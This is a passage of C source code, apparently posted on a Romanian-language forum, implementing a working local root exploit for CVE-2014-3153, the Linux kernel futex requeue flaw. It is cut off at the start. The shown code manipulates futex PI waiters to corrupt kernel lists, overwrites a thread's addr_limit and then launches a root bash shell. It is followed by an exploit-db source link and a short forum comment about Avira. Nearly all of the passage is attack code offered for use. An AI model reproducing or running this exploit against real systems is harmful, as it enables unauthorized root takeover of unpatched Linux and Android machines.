ret); } return NULL; } static void plist_set_next(struct list_head *node, struct list_head *head) { node->next = head; head->prev = node; node->prev = head; head->next = node; } static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters) { rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9; rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13; plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list); plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list); } static bool do_exploit(void *waiter_plist) { void *magicval, *magicval2; struct rt_mutex_waiter *rt_waiters; pid_t pid; pid_t pid6, pid7, pid12, pid11; rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist); syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0); while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) { usleep(10); } pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6); pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7); swag2 = 0; do_socket_tid_read = 0; did_socket_tid_read = 0; syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2); if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) { return false; } setup_waiter_params(rt_waiters); magicval = rt_waiters[0].list_entry.prio_list.next; printf("Checking whether exploitable.."); pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11); if (rt_waiters[0].list_entry.prio_list.next == magicval) { printf("failed\n"); return false; } printf("OK\nSeaching good magic...\n"); magicval = rt_waiters[0].list_entry.prio_list.next; pthread_cancel_immediately(th11); pthread_t th11_1, th11_2; while(1) { setup_waiter_params(rt_waiters); th11_1 = create_thread_do_futex_lock_pi_with_priority(11); magicval = rt_waiters[0].list_entry.prio_list.next; hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000); rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit; th11_2 = create_thread_do_futex_lock_pi_with_priority(11); magicval2 = rt_waiters[1].list_entry.node_list.prev; printf("magic1=%p magic2=%p\n", magicval, magicval2); if(magicval < magicval2) { printf("Good magic found\nHacking...\n"); break; } else { pthread_cancel_immediately(th11_1); pthread_cancel_immediately(th11_2); } } pwaiter11 = NODE_LIST_TO_WAITER(magicval2); pthread_mutex_lock(&hacked_lock); pthread_kill(th11_1, SIGNAL_HACK_KERNEL); pthread_cond_wait(&hacked, &hacked_lock); pthread_mutex_unlock(&hacked_lock); close(listenfd); struct rt_mutex_waiter waiter11; struct rt_mutex *pmutex; int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11)); if(len != sizeof(waiter11)) { pmutex = NULL; } else { pmutex = waiter11.lock; } fix_rt_mutex_waiter_list(pmutex); pthread_cancel_immediately(th11_1); pthread_cancel_immediately(th11_2); pthread_cancel_immediately(th7); pthread_cancel_immediately(th6); close(clientfd); pthread_cancel_immediately(thread_client_to_setup_rt_waiter); exit(0); } #define MMAP_ADDR_BASE 0x0c000000 #define MMAP_LEN 0x0c001000 int main(int argc, char *argv[]) { unsigned long mapped_address; void *waiter_plist; printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n"); main_pid = gettid(); if(fork() == 0) { iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (iov_base0 < 0xb0000000) { printf("mmap failed?\n"); return 1; } iov_len0 = 0x10000; iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (iov_basex < MMAP_ADDR_BASE) { printf("mmap failed?\n"); return 1; } iov_lenx = MMAP_LEN; waiter_plist = (void *)iov_basex + 0x400; pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist); sockfd = server_for_setup_rt_waiter(); if (sockfd < 0) { printf("Server failed\n"); return 1; } if (!do_exploit(waiter_plist)) { return 1; } return 0; } while(getuid()) usleep(100); execl("/bin/bash", "bin/bash", NULL); return 0; } Sursa: http://www.exploit-db.com/exploits/35370/

Ce cauta Avira pe acolo?